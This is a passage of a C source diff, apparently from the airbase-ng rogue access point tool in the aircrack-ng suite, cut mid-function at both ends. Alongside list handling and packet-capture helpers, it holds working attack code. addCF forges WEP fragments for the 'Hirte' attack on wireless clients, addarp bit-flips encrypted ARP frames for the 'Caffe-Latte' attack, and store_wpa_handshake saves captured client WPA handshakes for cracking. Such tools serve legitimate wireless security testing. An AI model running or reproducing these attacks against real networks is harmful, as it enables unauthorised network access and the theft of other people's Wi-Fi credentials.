+	ALLEGE(tmp->essid != NULL);
+	memcpy(tmp->essid, essid, len);
+	tmp->essid[len] = 0x00;
+	tmp->len = len;
+
+	// set expiration date
+	if (expiration)
+	{
+		time(&now);
+		tmp->expire = now + expiration;
+	}
+	else
+	{
+		tmp->expire = 0;
+	}
+
+	tmp->next = NULL;
+	cur->next = tmp;
+
+	ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+	return 0;
+}
+
+static int capture_packet(unsigned char * packet, int length)
+{
+	REQUIRE(packet != NULL);
+	REQUIRE(length > 0);
+
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	int n;
+#if defined(__sun__)
+	struct flock fl;
+	fl.l_start = 0;
+	fl.l_len = 0;
+	fl.l_whence = SEEK_SET;
+#endif
+
+	if (opt.f_cap != NULL && length >= 10)
+	{
+		pkh.caplen = pkh.len = length;
+
+		gettimeofday(&tv, NULL);
+
+		pkh.tv_sec = tv.tv_sec;
+		pkh.tv_usec = tv.tv_usec;
+
+		n = sizeof(pkh);
+
+#if defined(__sun__)
+		fl.l_type = F_WRLCK;
+		fcntl(fileno(opt.f_cap), F_SETLKW, &fl);
+#else
+		flock(fileno(opt.f_cap), LOCK_EX);
+#endif
+		if (fwrite(&pkh, 1, n, opt.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet header) failed");
+#if defined(__sun__)
+			fl.l_type = F_UNLCK;
+			fcntl(fileno(opt.f_cap), F_GETLK, &fl);
+#else
+			flock(fileno(opt.f_cap), LOCK_UN);
+#endif
+			return (1);
+		}
+
+		fflush(stdout);
+
+		n = pkh.caplen;
+
+		if (fwrite(packet, 1, n, opt.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet data) failed");
+#if defined(__sun__)
+			fl.l_type = F_UNLCK;
+			fcntl(fileno(opt.f_cap), F_GETLK, &fl);
+#else
+			flock(fileno(opt.f_cap), LOCK_UN);
+#endif
+			return (1);
+		}
+
+		fflush(stdout);
+
+		fflush(opt.f_cap);
+#if defined(__sun__)
+		fl.l_type = F_UNLCK;
+		fcntl(fileno(opt.f_cap), F_GETLK, &fl);
+#else
+		flock(fileno(opt.f_cap), LOCK_UN);
+#endif
+	}
+	return 0;
+}
+
+static int addMAC(pMAC_t pMAC, unsigned char * mac)
+{
+	pMAC_t cur = pMAC;
+
+	if (mac == NULL) return -1;
+
+	if (pMAC == NULL) return -1;
+
+	while (cur->next != NULL) cur = cur->next;
+
+	// alloc mem
+	cur->next = (pMAC_t) malloc(sizeof(struct MAC_list));
+	ALLEGE(cur->next != NULL);
+	cur = cur->next;
+
+	// set mac
+	memcpy(cur->mac, mac, 6);
+
+	cur->next = NULL;
+
+	return 0;
+}
+
+static void flushESSID(void)
+{
+	pESSID_t old;
+	pESSID_t cur;
+	time_t now;
+
+	ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
+	cur = rESSID;
+
+	if (rESSID == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+		return;
+	}
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (old->expire)
+		{
+			time(&now);
+			if (now > old->expire)
+			{
+				// got it
+				cur->next = old->next;
+
+				free(old->essid);
+				old->essid = NULL;
+				old->next = NULL;
+				old->len = 0;
+				free(old);
+				ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+				return;
+			}
+		}
+		cur = cur->next;
+	}
+	ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+}
+
+static int gotESSID(char * essid, int len)
+{
+	pESSID_t old, cur;
+
+	if (essid == NULL) return (-1);
+
+	if (len <= 0 || len > 255) return (-1);
+
+	ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
+	cur = rESSID;
+
+	if (rESSID == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+		return (-1);
+	}
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (old->len == len)
+		{
+			if (memcmp(old->essid, essid, len) == 0)
+			{
+				ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+				return (1);
+			}
+		}
+		cur = cur->next;
+	}
+
+	ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+	return (0);
+}
+
+static int gotMAC(pMAC_t pMAC, unsigned char * mac)
+{
+	pMAC_t cur = pMAC;
+
+	if (mac == NULL) return (-1);
+
+	if (pMAC == NULL) return (-1);
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		if (memcmp(cur->mac, mac, 6) == 0)
+		{
+			// got it
+			return (1);
+		}
+	}
+
+	return (0);
+}
+
+static int getESSID(char * essid)
+{
+	int len;
+
+	ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
+
+	if (rESSID == NULL || rESSID->next == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+		return (0);
+	}
+
+	memcpy(essid, rESSID->next->essid, rESSID->next->len + 1);
+	len = rESSID->next->len;
+	ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+
+	return (len);
+}
+
+static int getNextESSID(char * essid)
+{
+	int len;
+	pESSID_t cur;
+
+	ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
+
+	if (rESSID == NULL || rESSID->next == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+		return (0);
+	}
+
+	len = strlen(essid);
+	for (cur = rESSID->next; cur != NULL; cur = cur->next)
+	{
+		if (*essid == 0)
+		{
+			break;
+		}
+		// Check if current SSID.
+		if (cur->len == len && cur->essid != NULL
+			&& strcmp(essid, cur->essid) == 0)
+		{
+			// SSID found, get next one
+			cur = cur->next;
+			if (cur == NULL)
+			{
+				cur = rESSID->next;
+			}
+			break;
+		}
+	}
+	len = 0;
+
+	if (cur != NULL)
+	{
+		memcpy(essid, cur->essid, cur->len + 1);
+		len = cur->len;
+	}
+	ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+
+	return (len);
+}
+
+static int getESSIDcount(void)
+{
+	pESSID_t cur;
+	int count = 0;
+
+	ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
+	cur = rESSID;
+
+	if (rESSID == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+		return (-1);
+	}
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		count++;
+	}
+
+	ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+	return (count);
+}
+
+static int getMACcount(pMAC_t pMAC)
+{
+	pMAC_t cur = pMAC;
+	int count = 0;
+
+	if (pMAC == NULL) return (-1);
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		count++;
+	}
+
+	return (count);
+}
+
+static int addESSIDfile(char * filename)
+{
+	REQUIRE(filename != NULL);
+
+	FILE * list;
+	char essid[256];
+	int x;
+
+	list = fopen(filename, "r");
+	if (list == NULL)
+	{
+		perror("Unable to open ESSID list");
+		return (-1);
+	}
+
+	while (fgets(essid, 256, list) != NULL)
+	{
+		// trim trailing whitespace
+		rtrim(essid);
+
+		x = (int) strlen(essid);
+		if (x > 0) addESSID(essid, x, 0);
+	}
+
+	fclose(list);
+
+	return (0);
+}
+
+static int addMACfile(pMAC_t pMAC, char * filename)
+{
+	REQUIRE(filename != NULL);
+
+	FILE * list;
+	unsigned char mac[6];
+	char buffer[256];
+
+	list = fopen(filename, "r");
+	if (list == NULL)
+	{
+		perror("Unable to open MAC list");
+		return (-1);
+	}
+
+	while (fgets(buffer, 256, list) != NULL)
+	{
+		if (getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac);
+	}
+
+	fclose(list);
+
+	return (0);
+}
+
+static int my_send_packet(void * buf, size_t count)
+{
+	int rc = send_packet(_wi_out, buf, count, kNoChange);
+
+	ALLEGE(pthread_mutex_lock(&mx_cap) == 0);
+	if (lopt.record_data) capture_packet(buf, (int) count);
+	ALLEGE(pthread_mutex_unlock(&mx_cap) == 0);
+
+	return (rc);
+}
+
+#define IEEE80211_LLC_SNAP                                                     \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
+
+static int intercept(unsigned char * packet, int length)
+{
+	REQUIRE(packet != NULL);
+	REQUIRE(length > 0);
+
+	unsigned char buf[4096];
+	unsigned char K[128];
+	int z = 0;
+
+	memset(buf, 0, 4096);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (opt.crypt == CRYPT_WEP)
+	{
+		memcpy(K, packet + z, 3);
+		memcpy(K + 3, opt.wepkey, opt.weplen);
+
+		if (decrypt_wep(
+				packet + z + 4, length - z - 4, K, (int) (3 + opt.weplen))
+			== 0)
+		{
+			// ICV check failed!
+			return (1);
+		}
+
+		/* WEP data packet was successfully decrypted, *
+		* remove the WEP IV & ICV and write the data  */
+
+		length -= 8;
+
+		memcpy(packet + z, packet + z + 4, (size_t) length - z);
+	}
+
+	/* clear wep bit */
+	packet[1] &= 0xBF;
+
+	// insert ethernet header
+	memcpy(buf + 14, packet, (size_t) length);
+	length += 14;
+
+	ti_write(dev.dv_ti2, buf, length);
+	return (0);
+}
+
+static int packet_xmit(unsigned char * packet, int length)
+{
+	unsigned char buf[4096];
+	int fragments = 1, i;
+	size_t newlen = 0, usedlen = 0, length2;
+
+	if (packet == NULL) return (1);
+
+	if (length < 38) return (1);
+
+	if (length - 14 > 16 * lopt.wif_mtu - MAX_FRAME_EXTENSION) return (1);
+
+	if (length + MAX_FRAME_EXTENSION > lopt.wif_mtu)
+		fragments = ((length - 14 + MAX_FRAME_EXTENSION) / lopt.wif_mtu) + 1;
+
+	if (fragments > 16) return (1);
+
+	if (fragments > 1)
+		newlen = (length - 14u + MAX_FRAME_EXTENSION) / fragments;
+	else
+		newlen = length - 14u;
+
+	for (i = 0; i < fragments; i++)
+	{
+		if (i == fragments - 1)
+			newlen = length - 14
+					 - usedlen; // use all remaining bytes for the last fragment
+
+		if (i == 0)
+		{
+			memcpy(h80211, IEEE80211_LLC_SNAP, 32);
+			memcpy(h80211 + 32, packet + 14 + usedlen, newlen);
+			memcpy(h80211 + 30, packet + 12, 2);
+		}
+		else
+		{
+			memcpy(h80211, IEEE80211_LLC_SNAP, 24);
+			memcpy(h80211 + 24, packet + 14 + usedlen, newlen);
+		}
+
+		h80211[1] |= 0x02;
+		memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
+		memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 4, packet, 6); // DST_MAC
+
+		h80211[22] |= i & 0x0F; // set fragment
+		h80211[1] |= 0x04; // more frags
+
+		if (i == (fragments - 1))
+		{
+			h80211[1] &= 0xFB; // no more frags
+		}
+
+		length2 = newlen + 32;
+
+		if ((lopt.external & EXT_OUT))
+		{
+			memset(buf, 0, 4096);
+			memcpy(buf + 14, h80211, length2);
+			// mark it as outgoing packet
+			buf[12] = 0xFF;
+			buf[13] = 0xFF;
+			ti_write(dev.dv_ti2, buf, (int) length2 + 14);
+		}
+		else
+		{
+			if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
+			{
+				if (create_wep_packet(h80211, &length2, 24) != 0) return (1);
+			}
+
+			my_send_packet(h80211, length2);
+		}
+
+		usedlen += newlen;
+
+		if ((i + 1) < fragments) usleep(3000);
+	}
+
+	return (0);
+}
+
+static int packet_recv(uint8_t * packet,
+					   size_t length,
+					   struct AP_conf * apc,
+					   int external);
+
+static int packet_xmit_external(unsigned char * packet,
+								size_t length,
+								struct AP_conf * apc)
+{
+	uint8_t buf[4096];
+	size_t z = 0;
+
+	if (packet == NULL) return (1);
+
+	if (length < 40 || length > 3000) return (1);
+
+	memset(buf, 0, 4096);
+	if (memcmp(packet, buf, 11) != 0) //-V512
+	{
+		// Wrong header
+		return (1);
+	}
+
+	/* cut ethernet header */
+	memcpy(buf, packet, length);
+	length -= 14;
+	memcpy(packet, buf + 14, length);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
+	{
+		if (create_wep_packet(packet, &length, z) != 0) return (1);
+	}
+
+	if (memcmp(buf + 12, (unsigned char *) "\x00\x00", 2)
+		== 0) /* incoming packet */
+	{
+		packet_recv(packet, length, apc, 0);
+	}
+	else if (memcmp(buf + 12, (unsigned char *) "\xFF\xFF", 2)
+			 == 0) /* outgoing packet */
+	{
+		my_send_packet(packet, length);
+	}
+
+	return (0);
+}
+
+static int remove_tag(unsigned char * flags, unsigned char type, int * length)
+{
+	REQUIRE(length != NULL);
+
+	int cur_type = 0, cur_len = 0, len = 0;
+	unsigned char * pos;
+	unsigned char buffer[4096];
+
+	if (*length < 2) return (1);
+
+	if (flags == NULL) return (1);
+
+	pos = flags;
+
+	do
+	{
+		cur_type = pos[0];
+		cur_len = pos[1];
+
+		if (len + 2 + cur_len > *length) return (1);
+
+		if (cur_type == type)
+		{
+			if (cur_len > 0 && (pos - flags + cur_len + 2) <= *length)
+			{
+				memcpy(buffer,
+					   pos + 2 + cur_len,
+					   *length - ((pos + 2 + cur_len) - flags));
+				memcpy(pos, buffer, *length - ((pos + 2 + cur_len) - flags));
+				*length = *length - 2 - cur_len;
+				return (0);
+			}
+			else
+				return (1);
+		}
+		pos += cur_len + 2;
+		len += cur_len + 2;
+	} while (len + 2 <= *length);
+
+	return (0);
+}
+
+static unsigned char * parse_tags(unsigned char * flags,
+								  unsigned char type,
+								  int length,
+								  size_t * taglen)
+{
+	int cur_type = 0, cur_len = 0, len = 0;
+	unsigned char * pos;
+
+	if (length < 2) return (NULL);
+
+	if (flags == NULL) return (NULL);
+
+	pos = flags;
+
+	do
+	{
+		cur_type = pos[0];
+		cur_len = pos[1];
+		if (len + 2 + cur_len > length) return (NULL);
+
+		if (cur_type == type)
+		{
+			if (cur_len > 0)
+			{
+				*taglen = (size_t) cur_len;
+				return pos + 2;
+			}
+			else
+				return (NULL);
+		}
+		pos += cur_len + 2;
+		len += cur_len + 2;
+	} while (len + 2 <= length);
+
+	return (NULL);
+}
+
+static int
+wpa_client(struct ST_info * st_cur, const unsigned char * tag, int length)
+{
+	if (tag == NULL) return (1);
+
+	if (st_cur == NULL) return (1);
+
+	if (tag[0] != 0xDD && tag[0] != 0x30) // wpa1 or wpa2
+		return (1);
+
+	if (tag[0] == 0xDD)
+	{
+		if (length < 24) return (1);
+
+		switch (tag[17])
+		{
+			case 0x02:
+				st_cur->wpahash = 1; // md5|tkip
+				break;
+			case 0x04:
+				st_cur->wpahash = 2; // sha1|ccmp
+				break;
+			default:
+				return (1);
+		}
+
+		st_cur->wpatype = 1; // wpa1
+	}
+
+	if (tag[0] == 0x30 && st_cur->wpatype == 0)
+	{
+		if (length < 22) return (1);
+
+		switch (tag[13])
+		{
+			case 0x02:
+				st_cur->wpahash = 1; // md5|tkip
+				break;
+			case 0x04:
+				st_cur->wpahash = 2; // sha1|ccmp
+				break;
+			default:
+				return (1);
+		}
+
+		st_cur->wpatype = 2; // wpa2
+	}
+
+	return (0);
+}
+
+// add packet for client fragmentation attack
+static int addCF(unsigned char * packet, size_t length)
+{
+	pCF_t curCF = rCF;
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
+	unsigned char keystream[128];
+	unsigned char frag1[128], frag2[128], frag3[128];
+	unsigned char clear[4096], final[4096], flip[4096];
+	int isarp;
+	size_t z, i;
+
+	if (curCF == NULL) return (1);
+	if (packet == NULL) return (1);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z + 8) return (1);
+
+	if (length > 3800)
+	{
+		return (1);
+	}
+
+	if (lopt.cf_count >= 100) return (1);
+
+	memset(clear, 0, 4096);
+	memset(final, 0, 4096);
+	memset(flip, 0, 4096);
+	memset(frag1, 0, 128);
+	memset(frag2, 0, 128);
+	memset(frag3, 0, 128);
+	memset(keystream, 0, 128);
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if (is_ipv6(packet))
+	{
+		if (opt.verbose)
+		{
+			PCT;
+			printf("Ignored IPv6 packet.\n");
+		}
+
+		return (1);
+	}
+
+	if (is_dhcp_discover(packet, length - z - 4 - 4))
+	{
+		if (opt.verbose)
+		{
+			PCT;
+			printf("Ignored DHCP Discover packet.\n");
+		}
+
+		return (1);
+	}
+
+	/* check if it's a potential ARP request */
+
+	// its length 68 or 86 and going to broadcast or a unicast mac (even first
+	// byte)
+	if ((length == 68 || length == 86)
+		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
+	{
+		/* process ARP */
+		isarp = 1;
+		// build the new packet
+		set_clear_arp(clear, smac, dmac);
+		set_final_arp(final, opt.r_smac);
+
+		for (i = 0; i < 14; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		packet[0] = 0x08; // data
+		if ((packet[1] & 3) == 0x00) // ad-hoc
+		{
+			packet[1] = 0x40; // wep
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, opt.r_smac, 6);
+			memcpy(packet + 16, bssid, 6);
+		}
+		else // tods
+		{
+			packet[1] = 0x42; // wep+FromDS
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, bssid, 6);
+			memcpy(packet + 16, opt.r_smac, 6);
+		}
+		packet[22] = 0xD0; // frag = 0;
+		packet[23] = 0x50;
+
+		// need to shift by 10 bytes; (add 1 frag in front)
+		memcpy(frag1, packet, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
+		frag1[z + 4 + 8] = 0x00;
+		frag1[z + 4 + 9] = 0x01; // ethernet
+		add_crc32(frag1 + z + 4, 10);
+		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
+		/* frag1 finished */
+
+		for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
+
+		add_crc32_plain(flip, (int) (length - z - 4 - 4));
+
+		for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
+		packet[22] = 0xD1; // frag = 1;
+
+		// ready to send frag1 / len=z+4+10+4 and packet / len = length
+	}
+	else
+	{
+		/* process IP */
+		isarp = 0;
+		// build the new packet
+		set_clear_ip(clear, length - z - 4 - 8 - 4);
+		set_final_ip(final, opt.r_smac);
+
+		for (i = 0; i < 8; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
+
+		// correct 80211 header
+		packet[0] = 0x08; // data
+		if ((packet[1] & 3) == 0x00) // ad-hoc
+		{
+			packet[1] = 0x40; // wep
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, opt.r_smac, 6);
+			memcpy(packet + 16, bssid, 6);
+		}
+		else
+		{
+			packet[1] = 0x42; // wep+FromDS
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, bssid, 6);
+			memcpy(packet + 16, opt.r_smac, 6);
+		}
+		packet[22] = 0xD0; // frag = 0;
+		packet[23] = 0x50;
+
+		// need to shift by 12 bytes;(add 3 frags in front)
+		memcpy(frag1, packet, z + 4); // copy 80211 header and IV
+		memcpy(frag2, packet, z + 4); // copy 80211 header and IV
+		memcpy(frag3, packet, z + 4); // copy 80211 header and IV
+		frag1[1] |= 0x04; // more frags
+		frag2[1] |= 0x04; // more frags
+		frag3[1] |= 0x04; // more frags
+
+		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4); //-V512
+		add_crc32(frag1 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
+
+		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
+		add_crc32(frag2 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
+		frag2[22] = 0xD1; // frag = 1;
+
+		frag3[z + 4 + 0] = 0x00; //-V525
+		frag3[z + 4 + 1] = 0x01; // ether
+		frag3[z + 4 + 2] = 0x08; // IP
+		frag3[z + 4 + 3] = 0x00;
+		add_crc32(frag3 + z + 4, 4);
+		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
+		frag3[22] = 0xD2; // frag = 2;
+		/* frag1,2,3 finished */
+
+		for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
+
+		add_crc32_plain(flip, (int) (length - z - 4 - 4));
+
+		for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
+		packet[22] = 0xD3; // frag = 3;
+
+		// ready to send frag1,2,3 / len=z+4+4+4 and packet / len = length
+	}
+	while (curCF->next != NULL) curCF = curCF->next;
+
+	ALLEGE(pthread_mutex_lock(&mx_cf) == 0);
+
+	curCF->next = (pCF_t) malloc(sizeof(struct CF_packet));
+	ALLEGE(curCF->next != NULL);
+	curCF = curCF->next;
+	curCF->xmitcount = 0;
+	curCF->next = NULL;
+
+	if (isarp)
+	{
+		memcpy(curCF->frags[0], frag1, z + 4 + 10 + 4);
+		curCF->fraglen[0] = z + 4 + 10 + 4;
+		memcpy(curCF->final, packet, length);
+		curCF->finallen = length;
+		curCF->fragnum = 1; /* one frag and final frame */
+	}
+	else
+	{
+		memcpy(curCF->frags[0], frag1, z + 4 + 4 + 4);
+		memcpy(curCF->frags[1], frag2, z + 4 + 4 + 4);
+		memcpy(curCF->frags[2], frag3, z + 4 + 4 + 4);
+		curCF->fraglen[0] = z + 4 + 4 + 4;
+		curCF->fraglen[1] = z + 4 + 4 + 4;
+		curCF->fraglen[2] = z + 4 + 4 + 4;
+		memcpy(curCF->final, packet, length);
+		curCF->finallen = length;
+		curCF->fragnum = 3; /* three frags and final frame */
+	}
+
+	lopt.cf_count++;
+
+	ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
+
+	if (lopt.cf_count == 1 && !opt.quiet)
+	{
+		PCT;
+		printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at "
+			   "%d pps.\n",
+			   smac[0],
+			   smac[1],
+			   smac[2],
+			   smac[3],
+			   smac[4],
+			   smac[5],
+			   opt.r_nbpps);
+	}
+
+	if (opt.verbose)
+	{
+		PCT;
+		printf("Added %s packet to cfrag buffer.\n", isarp ? "ARP" : "IP");
+	}
+
+	return (0);
+}
+
+// add packet for caffe latte attack
+static int addarp(unsigned char * packet, int length)
+{
+	unsigned char bssid[6], smac[6], dmac[6];
+	unsigned char flip[4096];
+	int z = 0, i = 0;
+
+	if (packet == NULL) return (-1);
+
+	if (length != 68 && length != 86) return (-1);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if ((packet[1] & 3) == 0)
+	{
+		memcpy(dmac, packet + 4, 6);
+		memcpy(smac, packet + 10, 6);
+		memcpy(bssid, packet + 16, 6);
+	}
+	else
+	{
+		memcpy(dmac, packet + 4, 6);
+		memcpy(bssid, packet + 10, 6);
+		memcpy(smac, packet + 16, 6);
+	}
+
+	if (memcmp(dmac, BROADCAST, 6) != 0) return (-1);
+
+	if (memcmp(bssid, opt.r_bssid, 6) != 0) return (-1);
+
+	packet[21] ^= (rand_u8() + 1); // Sohail:flip sender MAC address since
+	// few clients do not honor ARP from its
+	// own MAC
+
+	if (lopt.nb_arp >= opt.ringbuffer) return (-1);
+
+	memset(flip, 0, 4096);
+
+	flip[49 - z - 4]
+		^= (rand_u8() + 1); // flip random bits in last byte of sender MAC
+	flip[53 - z - 4]
+		^= (rand_u8() + 1); // flip random bits in last byte of sender IP
+
+	add_crc32_plain(flip, length - z - 4 - 4);
+	for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
+
+	arp[lopt.nb_arp].buf = (unsigned char *) malloc(length);
+	ALLEGE(arp[lopt.nb_arp].buf != NULL);
+	arp[lopt.nb_arp].len = length;
+	memcpy(arp[lopt.nb_arp].buf, packet, length);
+	lopt.nb_arp++;
+
+	if (lopt.nb_arp == 1 && !opt.quiet)
+	{
+		PCT;
+		printf("Starting Caffe-Latte attack against "
+			   "%02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n",
+			   smac[0],
+			   smac[1],
+			   smac[2],
+			   smac[3],
+			   smac[4],
+			   smac[5],
+			   opt.r_nbpps);
+	}
+
+	if (opt.verbose)
+	{
+		PCT;
+		printf("Added an ARP to the caffe-latte ringbuffer %d/%d\n",
+			   lopt.nb_arp,
+			   opt.ringbuffer);
+	}
+
+	return (0);
+}
+
+static int store_wpa_handshake(struct ST_info * st_cur)
+{
+	FILE * f_ivs;
+	struct ivs2_filehdr fivs2;
+	char ofn[1024];
+	struct ivs2_pkthdr ivs2;
+
+	if (st_cur == NULL) return (1);
+
+	fivs2.version = IVS2_VERSION;
+
+	snprintf(ofn,
+			 sizeof(ofn) - 1,
+			 "wpa-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
+			 opt.f_index,
+			 st_cur->stmac[0],
+			 st_cur->stmac[1],
+			 st_cur->stmac[2],
+			 st_cur->stmac[3],
+			 st_cur->stmac[4],
+			 st_cur->stmac[5],
+			 IVS2_EXTENSION);
+
+	opt.f_index++;
+
+	if ((f_ivs = fopen(ofn, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		fprintf(stderr, "Could not create \"%s\".\n", ofn);
+		return (1);
+	}
+
+	if (fwrite(IVS2_MAGIC, 1, 4, f_ivs) != (size_t) 4)
+	{
+		perror("fwrite(IVs file MAGIC) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs)
+		!= (size_t) sizeof(struct ivs2_filehdr))
+	{
+		perror("fwrite(IVs file header) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+
+	// write stmac as bssid and essid
+	ivs2.flags = 0;
+	ivs2.len = 0;
+
+	ivs2.len += st_cur->essid_length;
+	ivs2.flags |= IVS2_ESSID;
+
+	ivs2.flags |= IVS2_BSSID;
+	ivs2.len += 6;
+
+	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
+		!= (size_t) sizeof(struct ivs2_pkthdr))
+	{
+		perror("fwrite(IV header) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	if (fwrite(opt.r_bssid, 1, 6, f_ivs) != (size_t) 6)
+	{
+		perror("fwrite(IV bssid) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+	ivs2.len -= 6;
+
+	/* write essid */
+	if (fwrite(st_cur->essid, 1, (size_t) st_cur->essid_length, f_ivs)
+		!= (size_t) st_cur->essid_length)
+	{
+		perror("fwrite(IV essid) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	// add wpa data
+	ivs2.flags = 0;
+
+	ivs2.len = sizeof(struct WPA_hdsk);
+	ivs2.flags |= IVS2_WPA;
+
+	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
+		!= (size_t) sizeof(struct ivs2_pkthdr))
+	{
+		perror("fwrite(IV header) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	if (fwrite(&(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs)
+		!= (size_t) sizeof(struct WPA_hdsk))
+	{
+		perror("fwrite(IV wpa_hdsk) failed");
+		fclose(f_ivs);
+		return (1);
+	}
+
+	fclose(f_ivs);
+
+	return (0);
+}
+
+static int
+packet_recv(uint8_t * packet, size_t length, struct AP_conf * apc, int external)
+{
+	REQUIRE(packet != NULL);
+
+	uint8_t K[64];
+	uint8_t bssid[6];
+	uint8_t smac[6];
+	uint8_t dmac[6];
+	size_t trailer = 0;
+	uint8_t * tag = NULL;
+	size_t len = 0;
+	size_t i = 0;
+	int c = 0;
+	uint8_t * buffer;
+	uint8_t essid[256];
+	struct timeval tv1;
+	u_int64_t timestamp;
+	char fessid[MAX_IE_ELEMENT_SIZE + 1];
+	int seqnum, fragnum, morefrag;
+	int gotsource, gotbssid;
+	int remaining;
+	int reasso, fixed, temp_channel;
+	uint8_t bytes2use;
+	unsigned z;
+
+	struct ST_info * st_cur = NULL;
+	struct ST_info * st_prv = NULL;
+
+	reasso = 0;
+	fixed = 0;
+	memset(essid, 0, 256);
+
+	ALLEGE(pthread_mutex_lock(&mx_cap) == 0);
+	if (lopt.record_data) capture_packet(packet, (int) length);
+	ALLEGE(pthread_mutex_unlock(&mx_cap) == 0);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (packet[0] == 0x88) z += 2; /* handle QoS field */
+
+	if (length < z)
+	{
+		return (1);
+	}
+
+	if (length > 3800)
+	{
+		return (1);
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
